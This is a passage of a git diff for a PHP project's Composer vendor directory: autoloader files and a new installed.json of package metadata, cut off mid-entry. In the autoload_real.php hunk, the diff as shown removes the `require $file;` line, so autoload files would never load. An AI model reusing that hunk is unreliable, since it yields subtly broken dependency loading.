call_user_func(\Composer\Autoload\ComposerStaticInitd9dfa293e502aa9fb214fcd69d39a39d::getInitializer($loader)); } else { @@ -65,16 +63,11 @@ public static function getLoader() } } -/** - * @param string $fileIdentifier - * @param string $file - * @return void - */ function composerRequired9dfa293e502aa9fb214fcd69d39a39d($fileIdentifier, $file) { if (empty($GLOBALS['__composer_autoload_files'][$fileIdentifier])) { - $GLOBALS['__composer_autoload_files'][$fileIdentifier] = true; - require $file; + + $GLOBALS['__composer_autoload_files'][$fileIdentifier] = true; } } diff --git a/vendor/composer/autoload_static.php b/vendor/composer/autoload_static.php index 156ea289..20416522 100644 --- a/vendor/composer/autoload_static.php +++ b/vendor/composer/autoload_static.php @@ -18,16 +18,16 @@ class ComposerStaticInitd9dfa293e502aa9fb214fcd69d39a39d 'e69f7f6ee287b969198c3c9d6777bd38' => __DIR__ . '/..' . '/symfony/polyfill-intl-normalizer/bootstrap.php', '023d27dca8066ef29e6739335ea73bad' => __DIR__ . '/..' . '/symfony/polyfill-php70/bootstrap.php', '25072dd6e2470089de65ae7bf11d3109' => __DIR__ . '/..' . '/symfony/polyfill-php72/bootstrap.php', + '2cffec82183ee1cea088009cef9a6fc3' => __DIR__ . '/..' . '/ezyang/htmlpurifier/library/HTMLPurifier.composer.php', 'c964ee0ededf28c96ebd9db5099ef910' => __DIR__ . '/..' . '/guzzlehttp/promises/src/functions_include.php', 'f598d06aa772fa33d905e87be6398fb1' => __DIR__ . '/..' . '/symfony/polyfill-intl-idn/bootstrap.php', - '313a9b01f294d730dfc8ff43b9e56416' => __DIR__ . '/..' . '/w7corp/easywechat/src/Kernel/Support/Helpers.php', - '8cfe2b61cc956a1edbaf214308e8c9a1' => __DIR__ . '/..' . '/w7corp/easywechat/src/Kernel/Helpers.php', - '2cffec82183ee1cea088009cef9a6fc3' => __DIR__ . '/..' . '/ezyang/htmlpurifier/library/HTMLPurifier.composer.php', '65fec9ebcfbb3cbb4fd0d519687aea01' => __DIR__ . '/..' . '/danielstjules/stringy/src/Create.php', '37a3dc5111fe8f707ab4c132ef1dbc62' => __DIR__ . '/..' . '/guzzlehttp/guzzle/src/functions_include.php', '5e8fe2a5ffaded85af682684fe3bbf5a' => __DIR__ . '/..' . '/mews/captcha/src/helpers.php', '05bd88eab6627efe378f45b89642a123' => __DIR__ . '/..' . '/modstart/modstart/src/helpers.php', 'e7223560d890eab89cda23685e711e2c' => __DIR__ . '/..' . '/psy/psysh/src/Psy/functions.php', + '313a9b01f294d730dfc8ff43b9e56416' => __DIR__ . '/..' . '/w7corp/easywechat/src/Kernel/Support/Helpers.php', + '8cfe2b61cc956a1edbaf214308e8c9a1' => __DIR__ . '/..' . '/w7corp/easywechat/src/Kernel/Helpers.php', 'f0906e6318348a765ffb6eb24e0d0938' => __DIR__ . '/..' . '/laravel/framework/src/Illuminate/Foundation/helpers.php', '58571171fd5812e6e447dce228f52f4d' => __DIR__ . '/..' . '/laravel/framework/src/Illuminate/Support/helpers.php', ); @@ -117,6 +117,7 @@ class ComposerStaticInitd9dfa293e502aa9fb214fcd69d39a39d 'D' => array ( 'Doctrine\\Common\\Lexer\\' => 22, + 'Doctrine\\Common\\Inflector\\' => 26, 'Doctrine\\Common\\Cache\\' => 22, 'Doctrine\\Common\\Annotations\\' => 28, 'Doctrine\\Common\\' => 16, @@ -330,6 +331,10 @@ class ComposerStaticInitd9dfa293e502aa9fb214fcd69d39a39d array ( 0 => __DIR__ . '/..' . '/doctrine/lexer/lib/Doctrine/Common/Lexer', ), + 'Doctrine\\Common\\Inflector\\' => + array ( + 0 => __DIR__ . '/..' . '/doctrine/inflector/lib/Doctrine/Common/Inflector', + ), 'Doctrine\\Common\\Cache\\' => array ( 0 => __DIR__ . '/..' . '/doctrine/cache/lib/Doctrine/Common/Cache', @@ -421,10 +426,6 @@ class ComposerStaticInitd9dfa293e502aa9fb214fcd69d39a39d array ( 0 => __DIR__ . '/..' . '/doctrine/dbal/lib', ), - 'Doctrine\\Common\\Inflector\\' => - array ( - 0 => __DIR__ . '/..' . '/doctrine/inflector/lib', - ), 'Doctrine\\Common\\Collections\\' => array ( 0 => __DIR__ . '/..' . '/doctrine/collections/lib', @@ -446,7 +447,6 @@ class ComposerStaticInitd9dfa293e502aa9fb214fcd69d39a39d public static $classMap = array ( 'ArithmeticError' => __DIR__ . '/..' . '/symfony/polyfill-php70/Resources/stubs/ArithmeticError.php', 'AssertionError' => __DIR__ . '/..' . '/symfony/polyfill-php70/Resources/stubs/AssertionError.php', - 'Composer\\InstalledVersions' => __DIR__ . '/..' . '/composer/InstalledVersions.php', 'CreateAdmin' => __DIR__ . '/../..' . '/database/migrations/2015_12_18_164253_create_admin.php', 'CreateAdminLog' => __DIR__ . '/../..' . '/database/migrations/2018_06_08_000000_create_admin_log.php', 'CreateAdminUpload' => __DIR__ . '/../..' . '/database/migrations/2017_05_12_000000_create_admin_upload.php', diff --git a/vendor/composer/installed.json b/vendor/composer/installed.json new file mode 100644 index 00000000..eb56cf6e --- /dev/null +++ b/vendor/composer/installed.json @@ -0,0 +1,4657 @@ +[ + { + "name": "arvenil/ninja-mutex", + "version": "0.6.0", + "version_normalized": "0.6.0.0", + "source": { + "type": "git", + "url": "https://github.com/arvenil/mutex.git", + "reference": "8c0f5d10f8fb1481b9d98488dbbe2bf84c2e1a25" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/arvenil/mutex/zipball/8c0f5d10f8fb1481b9d98488dbbe2bf84c2e1a25", + "reference": "8c0f5d10f8fb1481b9d98488dbbe2bf84c2e1a25", + "shasum": "" + }, + "require": { + "php": ">=5.3.0" + }, + "require-dev": { + "codeclimate/php-test-reporter": "0.1.*", + "ext-memcache": "*", + "ext-memcached": "*", + "ext-pdo_mysql": "*", + "ext-redis": "*", + "mikey179/vfsstream": "1.4.* || 1.5.*", + "predis/predis": "1.0.*", + "scrutinizer/ocular": "1.1.*" + }, + "suggest": { + "ext-memcache": "Create mutex using memcache extension", + "ext-memcached": "Create mutex using memcached extension", + "ext-pdo_mysql": "Create mutex using MySql", + "predis/predis": "Create mutex using Predis (client library for Redis)" + }, + "time": "2016-05-31T13:47:32+00:00", + "type": "library", + "installation-source": "dist", + "autoload": { + "psr-0": { + "NinjaMutex": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Kamil Dziedzic", + "email": "arvenil@klecza.pl" + } + ], + "description": "Simple to use mutex implementation that can use flock, memcache, memcached, mysql or redis for locking", + "homepage": "https://github.com/arvenil/ninja-mutex", + "keywords": [ + "flock", + "lock", + "locking", + "memcache", + "memcached", + "mutex", + "mysql", + "redis" + ], + "funding": [ + { + "url": "https://github.com/arvenil", + "type": "github" + } + ] + }, + { + "name": "bacon/bacon-qr-code", + "version": "1.0.3", + "version_normalized": "1.0.3.0", + "source": { + "type": "git", + "url": "https://github.com/Bacon/BaconQrCode.git", + "reference": "5a91b62b9d37cee635bbf8d553f4546057250bee" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/Bacon/BaconQrCode/zipball/5a91b62b9d37cee635bbf8d553f4546057250bee", + "reference": "5a91b62b9d37cee635bbf8d553f4546057250bee", + "shasum": "" + }, + "require": { + "ext-iconv": "*", + "php": "^5.4|^7.0" + }, + "require-dev": { + "phpunit/phpunit": "^4.8" + }, + "suggest": { + "ext-gd": "to generate QR code images" + }, + "time": "2017-10-17T09:59:25+00:00", + "type": "library", + "installation-source": "dist", + "autoload": { + "psr-0": { + "BaconQrCode": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "BSD-2-Clause" + ], + "authors": [ + { + "name": "Ben Scholzen 'DASPRiD'", + "email": "mail@dasprids.de", + "homepage": "http://www.dasprids.de", + "role": "Developer" + } + ], + "description": "BaconQrCode is a QR code generator for PHP.", + "homepage": "https://github.com/Bacon/BaconQrCode" + }, + { + "name": "classpreloader/classpreloader", + "version": "3.2.1", + "version_normalized": "3.2.1.0", + "source": { + "type": "git", + "url": "https://github.com/ClassPreloader/ClassPreloader.git", + "reference": "297db07cabece3946f4a98d23f11f90aa10e1797" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/ClassPreloader/ClassPreloader/zipball/297db07cabece3946f4a98d23f11f90aa10e1797", + "reference": "297db07cabece3946f4a98d23f11f90aa10e1797", + "shasum": "" + }, + "require": { + "nikic/php-parser": "^1.0|^2.0|^3.0", + "php": ">=5.5.9" + }, + "require-dev": { + "phpunit/phpunit": "^4.8|^5.0" + }, + "time": "2020-04-12T22:01:25+00:00", + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "3.2-dev" + } + }, + "installation-source": "dist", + "autoload": { + "psr-4": { + "ClassPreloader\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Michael Dowling", + "email": "mtdowling@gmail.com" + }, + { + "name": "Graham Campbell", + "email": "graham@alt-three.com" + } + ], + "description": "Helps class loading performance by generating a single PHP file containing all of the autoloaded files for a specific use case", + "keywords": [ + "autoload", + "class", + "preload" + ], + "funding": [ + { + "url": "https://tidelift.com/funding/github/packagist/classpreloader/classpreloader", + "type": "tidelift" + } + ] + }, + { + "name": "danielstjules/stringy", + "version": "1.10.0", + "version_normalized": "1.10.0.0", + "source": { + "type": "git", + "url": "https://github.com/danielstjules/Stringy.git", + "reference": "4749c205db47ee5b32e8d1adf6d9aff8db6caf3b" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/danielstjules/Stringy/zipball/4749c205db47ee5b32e8d1adf6d9aff8db6caf3b", + "reference": "4749c205db47ee5b32e8d1adf6d9aff8db6caf3b", + "shasum": "" + }, + "require": { + "ext-mbstring": "*", + "php": ">=5.3.0" + }, + "require-dev": { + "phpunit/phpunit": "~4.0" + }, + "time": "2015-07-23T00:54:12+00:00", + "type": "library", + "installation-source": "dist", + "autoload": { + "files": [ + "src/Create.php" + ], + "psr-4": { + "Stringy\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Daniel St. Jules", + "email": "danielst.jules@gmail.com", + "homepage": "http://www.danielstjules.com" + } + ], + "description": "A string manipulation library with multibyte support", + "homepage": "https://github.com/danielstjules/Stringy", + "keywords": [ + "UTF", + "helpers", + "manipulation", + "methods", + "multibyte", + "string", + "utf-8", + "utility", + "utils" + ] + }, + { + "name": "dnoegel/php-xdg-base-dir", + "version": "0.1", + "version_normalized": "0.1.0.0", + "source": { + "type": "git", + "url": "https://github.com/dnoegel/php-xdg-base-dir.git", + "reference": "265b8593498b997dc2d31e75b89f053b5cc9621a" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/dnoegel/php-xdg-base-dir/zipball/265b8593498b997dc2d31e75b89f053b5cc9621a", + "reference": "265b8593498b997dc2d31e75b89f053b5cc9621a", + "shasum": "" + }, + "require": { + "php": ">=5.3.2" + }, + "require-dev": { + "phpunit/phpunit": "@stable" + }, + "time": "2014-10-24T07:27:01+00:00", + "type": "project", + "installation-source": "dist", + "autoload": { + "psr-4": { + "XdgBaseDir\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "description": "implementation of xdg base directory specification for php" + }, + { + "name": "doctrine/annotations", + "version": "v1.4.0", + "version_normalized": "1.4.0.0", + "source": { + "type": "git", + "url": "https://github.com/doctrine/annotations.git", + "reference": "54cacc9b81758b14e3ce750f205a393d52339e97" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/doctrine/annotations/zipball/54cacc9b81758b14e3ce750f205a393d52339e97", + "reference": "54cacc9b81758b14e3ce750f205a393d52339e97", + "shasum": "" + }, + "require": { + "doctrine/lexer": "1.*", + "php": "^5.6 || ^7.0" + }, + "require-dev": { + "doctrine/cache": "1.*", + "phpunit/phpunit": "^5.7" + }, + "time": "2017-02-24T16:22:25+00:00", + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.4.x-dev" + } + }, + "installation-source": "dist", + "autoload": { + "psr-4": { + "Doctrine\\Common\\Annotations\\": "lib/Doctrine/Common/Annotations" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Roman Borschel", + "email": "roman@code-factory.org" + }, + { + "name": "Benjamin Eberlei", + "email": "kontakt@beberlei.de" + }, + { + "name": "Guilherme Blanco", + "email": "guilhermeblanco@gmail.com" + }, + { + "name": "Jonathan Wage", + "email": "jonwage@gmail.com" + }, + { + "name": "Johannes Schmitt", + "email": "schmittjoh@gmail.com" + } + ], + "description": "Docblock Annotations Parser", + "homepage": "http://www.doctrine-project.org", + "keywords": [ + "annotations", + "docblock", + "parser" + ] + }, + { + "name": "doctrine/cache", + "version": "v1.6.2", + "version_normalized": "1.6.2.0", + "source": { + "type": "git", + "url": "https://github.com/doctrine/cache.git", + "reference": "eb152c5100571c7a45470ff2a35095ab3f3b900b" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/doctrine/cache/zipball/eb152c5100571c7a45470ff2a35095ab3f3b900b", + "reference": "eb152c5100571c7a45470ff2a35095ab3f3b900b", + "shasum": "" + }, + "require": { + "php": "~5.5|~7.0" + }, + "conflict": { + "doctrine/common": ">2.2,<2.4" + }, + "require-dev": { + "phpunit/phpunit": "~4.8|~5.0", + "predis/predis": "~1.0", + "satooshi/php-coveralls": "~0.6" + }, + "time": "2017-07-22T12:49:21+00:00", + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.6.x-dev" + } + }, + "installation-source": "dist", + "autoload": { + "psr-4": { + "Doctrine\\Common\\Cache\\": "lib/Doctrine/Common/Cache" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Roman Borschel", + "email": "roman@code-factory.org" + }, + { + "name": "Benjamin Eberlei", + "email": "kontakt@beberlei.de" + }, + { + "name": "Guilherme Blanco", + "email": "guilhermeblanco@gmail.com" + }, + { + "name": "Jonathan Wage", + "email": "jonwage@gmail.com" + }, + { + "name": "Johannes Schmitt", + "email": "schmittjoh@gmail.com" + } + ], + "description": "Caching library offering an object-oriented API for many cache backends", + "homepage": "http://www.doctrine-project.org", + "keywords": [ + "cache", + "caching" + ] + }, + { + "name": "doctrine/collections", + "version": "v1.4.0", + "version_normalized": "1.4.0.0", + "source": { + "type": "git", + "url": "https://github.com/doctrine/collections.git", + "reference": "1a4fb7e902202c33cce8c55989b945612943c2ba" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/doctrine/collections/zipball/1a4fb7e902202c33cce8c55989b945612943c2ba", + "reference": "1a4fb7e902202c33cce8c55989b945612943c2ba", + "shasum": "" + }, + "require": { + "php": "^5.6 || ^7.0" + }, + "require-dev": { + "doctrine/coding-standard": "~0.1@dev", + "phpunit/phpunit": "^5.7" + }, + "time": "2017-01-03T10:49:41+00:00", + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.3.x-dev" + } + }, + "installation-source": "dist", + "autoload": { + "psr-0": { + "Doctrine\\Common\\Collections\\": "lib/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Roman Borschel", + "email": "roman@code-factory.org" + }, + { + "name": "Benjamin Eberlei", + "email": "kontakt@beberlei.de" + }, + { + "name": "Guilherme Blanco", + "email": "guilhermeblanco@gmail.com" + }, + { + "name": "Jonathan Wage", + "email": "jonwage@gmail.com" + }, + { + "name": "Johannes Schmitt", + "email": "schmittjoh@gmail.com" + } + ], + "description": "Collections Abstraction library", + "homepage": "http://www.doctrine-project.org", + "keywords": [ + "array", + "collections", + "iterator" + ] + }, + { + "name": "doctrine/common", + "version": "v2.7.3", + "version_normalized": "2.7.3.0", + "source": { + "type": "git", + "url": "https://github.com/doctrine/common.git", + "reference": "4acb8f89626baafede6ee5475bc5844096eba8a9" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/doctrine/common/zipball/4acb8f89626baafede6ee5475bc5844096eba8a9", + "reference": "4acb8f89626baafede6ee5475bc5844096eba8a9", + "shasum": "" + }, + "require": { + "doctrine/annotations": "1.*", + "doctrine/cache": "1.*", + "doctrine/collections": "1.*", + "doctrine/inflector": "1.*", + "doctrine/lexer": "1.*", + "php": "~5.6|~7.0" + }, + "require-dev": { + "phpunit/phpunit": "^5.4.6" + }, + "time": "2017-07-22T08:35:12+00:00", + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.7.x-dev" + } + }, + "installation-source": "dist", + "autoload": { + "psr-4": { + "Doctrine\\Common\\": "lib/Doctrine/Common" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Roman Borschel", + "email": "roman@code-factory.org" + }, + { + "name": "Benjamin Eberlei", + "email": "kontakt@beberlei.de" + }, + { + "name": "Guilherme Blanco", + "email": "guilhermeblanco@gmail.com" + }, + { + "name": "Jonathan Wage", + "email": "jonwage@gmail.com" + }, + { + "name": "Johannes Schmitt", + "email": "schmittjoh@gmail.com" + } + ], + "description": "Common Library for Doctrine projects", + "homepage": "http://www.doctrine-project.org", + "keywords": [ + "annotations", + "collections", + "eventmanager", + "persistence", + "spl" + ] + }, + { + "name": "doctrine/dbal", + "version": "v2.5.13", + "version_normalized": "2.5.13.0", + "source": { + "type": "git", + "url": "https://github.com/doctrine/dbal.git", + "reference": "729340d8d1eec8f01bff708e12e449a3415af873" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/doctrine/dbal/zipball/729340d8d1eec8f01bff708e12e449a3415af873", + "reference": "729340d8d1eec8f01bff708e12e449a3415af873", + "shasum": "" + }, + "require": { + "doctrine/common": ">=2.4,<2.8-dev", + "php": ">=5.3.2" + }, + "require-dev": { + "phpunit/phpunit": "4.*", + "symfony/console": "2.*||^3.0" + }, + "suggest": { + "symfony/console": "For helpful console commands such as SQL execution and import of files." + }, + "time": "2017-07-22T20:44:48+00:00", + "bin": [ + "bin/doctrine-dbal" + ], + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "2.5.x-dev" + } + }, + "installation-source": "dist", + "autoload": { + "psr-0": { + "Doctrine\\DBAL\\": "lib/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Roman Borschel", + "email": "roman@code-factory.org" + }, + { + "name": "Benjamin Eberlei", + "email": "kontakt@beberlei.de" + }, + { + "name": "Guilherme Blanco", + "email": "guilhermeblanco@gmail.com" + }, + { + "name": "Jonathan Wage", + "email": "jonwage@gmail.com" + } + ], + "description": "Database Abstraction Layer", + "homepage": "http://www.doctrine-project.org", + "keywords": [ + "database", + "dbal", + "persistence", + "queryobject" + ] + }, + { + "name": "doctrine/inflector", + "version": "v1.2.0", + "version_normalized": "1.2.0.0", + "source": { + "type": "git", + "url": "https://github.com/doctrine/inflector.git", + "reference": "e11d84c6e018beedd929cff5220969a3c6d1d462" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/doctrine/inflector/zipball/e11d84c6e018beedd929cff5220969a3c6d1d462", + "reference": "e11d84c6e018beedd929cff5220969a3c6d1d462", + "shasum": "" + }, + "require": { + "php": "^7.0" + }, + "require-dev": { + "phpunit/phpunit": "^6.2" + }, + "time": "2017-07-22T12:18:28+00:00", + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.2.x-dev" + } + }, + "installation-source": "dist", + "autoload": { + "psr-4": { + "Doctrine\\Common\\Inflector\\": "lib/Doctrine/Common/Inflector" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Roman Borschel", + "email": "roman@code-factory.org" + }, + { + "name": "Benjamin Eberlei", + "email": "kontakt@beberlei.de" + }, + { + "name": "Guilherme Blanco", + "email": "guilhermeblanco@gmail.com" + }, + { + "name": "Jonathan Wage", + "email": "jonwage@gmail.com" + }, + { + "name": "Johannes Schmitt", + "email": "schmittjoh@gmail.com" + } + ], + "description": "Common String Manipulations with regard to casing and singular/plural rules.", + "homepage": "http://www.doctrine-project.org", + "keywords": [ + "inflection", + "pluralize", + "singularize", + "string" + ] + }, + { + "name": "doctrine/lexer", + "version": "1.0.2", + "version_normalized": "1.0.2.0", + "source": { + "type": "git", + "url": "https://github.com/doctrine/lexer.git", + "reference": "1febd6c3ef84253d7c815bed85fc622ad207a9f8" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/doctrine/lexer/zipball/1febd6c3ef84253d7c815bed85fc622ad207a9f8", + "reference": "1febd6c3ef84253d7c815bed85fc622ad207a9f8", + "shasum": "" + }, + "require": { + "php": ">=5.3.2" + }, + "require-dev": { + "phpunit/phpunit": "^4.5" + }, + "time": "2019-06-08T11:03:04+00:00", + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.0.x-dev" + } + }, + "installation-source": "dist", + "autoload": { + "psr-4": { + "Doctrine\\Common\\Lexer\\": "lib/Doctrine/Common/Lexer" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Roman Borschel", + "email": "roman@code-factory.org" + }, + { + "name": "Guilherme Blanco", + "email": "guilhermeblanco@gmail.com" + }, + { + "name": "Johannes Schmitt", + "email": "schmittjoh@gmail.com" + } + ], + "description": "PHP Doctrine Lexer parser library that can be used in Top-Down, Recursive Descent Parsers.", + "homepage": "https://www.doctrine-project.org/projects/lexer.html", + "keywords": [ + "annotations", + "docblock", + "lexer", + "parser", + "php" + ] + }, + { + "name": "easywechat-composer/easywechat-composer", + "version": "dev-master", + "version_normalized": "9999999-dev", + "source": { + "type": "git", + "url": "https://gitee.com/modstart-lib/mingyoung-easywechat-composer-mix.git", + "reference": "4d6acc9baa9f02cd80c007f14e22f7e5d6931409" + }, + "require": { + "composer-plugin-api": "^1.0 || ^2.0" + }, + "type": "composer-plugin", + "extra": { + "class": "EasyWeChatComposer\\Plugin" + }, + "installation-source": "source", + "autoload": { + "psr-4": { + "EasyWeChatComposer\\": "src/" + } + }, + "autoload-dev": { + "psr-4": { + "EasyWeChatComposer\\Tests\\": "tests/" + } + }, + "license": [ + "MIT" + ], + "authors": [ + { + "name": "张铭阳", + "email": "mingyoungcheung@gmail.com" + } + ], + "description": "The composer plugin for EasyWeChat" + }, + { + "name": "ezyang/htmlpurifier", + "version": "dev-master", + "version_normalized": "9999999-dev", + "source": { + "type": "git", + "url": "https://gitee.com/modstart-lib/htmlpurifier.git", + "reference": "abcca0f778a9717d9c1b8d1020cec86a2ec657d2" + }, + "require": { + "php": "~5.6.0 || ~7.0.0 || ~7.1.0 || ~7.2.0 || ~7.3.0 || ~7.4.0 || ~8.0.0 || ~8.1.0 || ~8.2.0" + }, + "require-dev": { + "cerdic/css-tidy": "^1.7 || ^2.0", + "simpletest/simpletest": "dev-master" + }, + "suggest": { + "cerdic/css-tidy": "If you want to use the filter 'Filter.ExtractStyleBlocks'.", + "ext-bcmath": "Used for unit conversion and imagecrash protection", + "ext-iconv": "Converts text to and from non-UTF-8 encodings", + "ext-tidy": "Used for pretty-printing HTML" + }, + "type": "library", + "installation-source": "source", + "autoload": { + "psr-0": { + "HTMLPurifier": "library/" + }, + "files": [ + "library/HTMLPurifier.composer.php" + ], + "exclude-from-classmap": [ + "/library/HTMLPurifier/Language/" + ] + }, + "license": [ + "LGPL-2.1-or-later" + ], + "authors": [ + { + "name": "Edward Z. Yang", + "email": "admin@htmlpurifier.org", + "homepage": "http://ezyang.com" + } + ], + "description": "Standards compliant HTML filter written in PHP", + "homepage": "http://htmlpurifier.org/", + "keywords": [ + "html" + ] + }, + { + "name": "guzzlehttp/guzzle", + "version": "6.5.8", + "version_normalized": "6.5.8.0", + "source": { + "type": "git", + "url": "https://github.com/guzzle/guzzle.git", + "reference": "a52f0440530b54fa079ce76e8c5d196a42cad981" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/guzzle/guzzle/zipball/a52f0440530b54fa079ce76e8c5d196a42cad981", + "reference": "a52f0440530b54fa079ce76e8c5d196a42cad981", + "shasum": "" + }, + "require": { + "ext-json": "*", + "guzzlehttp/promises": "^1.0", + "guzzlehttp/psr7": "^1.9", + "php": ">=5.5", + "symfony/polyfill-intl-idn": "^1.17" + }, + "require-dev": { + "ext-curl": "*", + "phpunit/phpunit": "^4.8.35 || ^5.7 || ^6.4 || ^7.0", + "psr/log": "^1.1" + }, + "suggest": { + "psr/log": "Required for using the Log middleware" + }, + "time": "2022-06-20T22:16:07+00:00", + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "6.5-dev" + } + }, + "installation-source": "dist", + "autoload": { + "files": [ + "src/functions_include.php" + ], + "psr-4": { + "GuzzleHttp\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Graham Campbell", + "email": "hello@gjcampbell.co.uk", + "homepage": "https://github.com/GrahamCampbell" + }, + { + "name": "Michael Dowling", + "email": "mtdowling@gmail.com", + "homepage": "https://github.com/mtdowling" + }, + { + "name": "Jeremy Lindblom", + "email": "jeremeamia@gmail.com", + "homepage": "https://github.com/jeremeamia" + }, + { + "name": "George Mponos", + "email": "gmponos@gmail.com", + "homepage": "https://github.com/gmponos" + }, + { + "name": "Tobias Nyholm", + "email": "tobias.nyholm@gmail.com", + "homepage": "https://github.com/Nyholm" + }, + { + "name": "Márk Sági-Kazár", + "email": "mark.sagikazar@gmail.com", + "homepage": "https://github.com/sagikazarmark" + }, + { + "name": "Tobias Schultze", + "email": "webmaster@tubo-world.de", + "homepage": "https://github.com/Tobion" + } + ], + "description": "Guzzle is a PHP HTTP client library", + "homepage": "http://guzzlephp.org/", + "keywords": [ + "client", + "curl", + "framework", + "http", + "http client", + "rest", + "web service" + ], + "funding": [ + { + "url": "https://github.com/GrahamCampbell", + "type": "github" + }, + { + "url": "https://github.com/Nyholm", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/guzzlehttp/guzzle", + "type": "tidelift" + } + ] + }, + { + "name": "guzzlehttp/promises", + "version": "1.5.3", + "version_normalized": "1.5.3.0", + "source": { + "type": "git", + "url": "https://github.com/guzzle/promises.git", + "reference": "67ab6e18aaa14d753cc148911d273f6e6cb6721e" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/guzzle/promises/zipball/67ab6e18aaa14d753cc148911d273f6e6cb6721e", + "reference": "67ab6e18aaa14d753cc148911d273f6e6cb6721e", + "shasum": "" + }, + "require": { + "php": ">=5.5" + }, + "require-dev": { + "symfony/phpunit-bridge": "^4.4 || ^5.1" + }, + "time": "2023-05-21T12:31:43+00:00", + "type": "library", + "installation-source": "dist", + "autoload": { + "files": [ + "src/functions_include.php" + ], + "psr-4": { + "GuzzleHttp\\Promise\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Graham Campbell", + "email": "hello@gjcampbell.co.uk", + "homepage": "https://github.com/GrahamCampbell" + }, + { + "name": "Michael Dowling", + "email": "mtdowling@gmail.com", + "homepage": "https://github.com/mtdowling" + }, + { + "name": "Tobias Nyholm", + "email": "tobias.nyholm@gmail.com", + "homepage": "https://github.com/Nyholm" + }, + { + "name": "Tobias Schultze", + "email": "webmaster@tubo-world.de", + "homepage": "https://github.com/Tobion" + } + ], + "description": "Guzzle promises library", + "keywords": [ + "promise" + ], + "funding": [ + { + "url": "https://github.com/GrahamCampbell", + "type": "github" + }, + { + "url": "https://github.com/Nyholm", + "type": "github" + }, + { + "url": "https://tidelift.com/funding/github/packagist/guzzlehttp/promises", + "type": "tidelift" + } + ] + }, + { + "name": "guzzlehttp/psr7", + "version": "1.9.1", + "version_normalized": "1.9.1.0", + "source": { + "type": "git", + "url": "https://github.com/guzzle/psr7.git", + "reference": "e4490cabc77465aaee90b20cfc9a770f8c04be6b" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/guzzle/psr7/zipball/e4490cabc77465aaee90b20cfc9a770f8c04be6b", + "reference": "e4490cabc77465aaee90b20cfc9a770f8c04be6b", + "shasum": "" + }, + "require": { + "php": ">=5.4.0", + "psr/http-message": "~1.0", + "ralouphie/getallheaders": "^2.0.5 || ^3.0.0" + }, + "provide": { + "psr/http-message-implementation": "1.0" + }, + "require-dev": { + "ext-zlib": "*", + "phpunit/phpunit": "~4.8.36 || ^5.7.27 || ^6.5.14 || ^7.5.20 || ^8.5.8 || ^9.3.10" + }, + "suggest": { + "laminas/laminas-httphandlerrunner": "Emit PSR-7 responses" + }, + "time": "2023-04-17T16:00:37+00:00", + "type": "library", + "installation-source": "dist", + "autoload": { + "files": [ + "src/functions_include.php" + ], + "psr-4": { + "GuzzleHttp\\Psr7\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Graham Campbell", + "email": "hello@gjcampbell.co.uk", + "homepage": "https://github.com/GrahamCampbell" + }, + { + "name": "Michael Dowling", + "email": "mtdowling@gmail.com", + "homepage": "https://github.com/mtdowling" + }, + { + "name": "George Mponos", + "email": "gmponos@gmail.com", + "homepage": "https://github.com/gmponos" + }, + { + "name": "Tobias Nyholm", + "email": "tobias.nyholm@gmail.com", + "homepage": "https://github.com/Nyholm" + }, + { + "name": "Márk Sági-Kazár", + "email": "mark.sagikazar@gmail.com", + "homepage": "https://github.com/sagikazarmark" + }, + { + "name": "Tobias Schultze", + "email": "webmaster@tubo-world.de", + "homepage": "https://github.com/Tobion" + } + ], + "description": "PSR-7 message implementation that also provides common utility methods", + "keywords": [ + "http", + "message", + "psr-7", + "request", + "response", + "stream", + "uri", + "url" + ], + "funding": [ 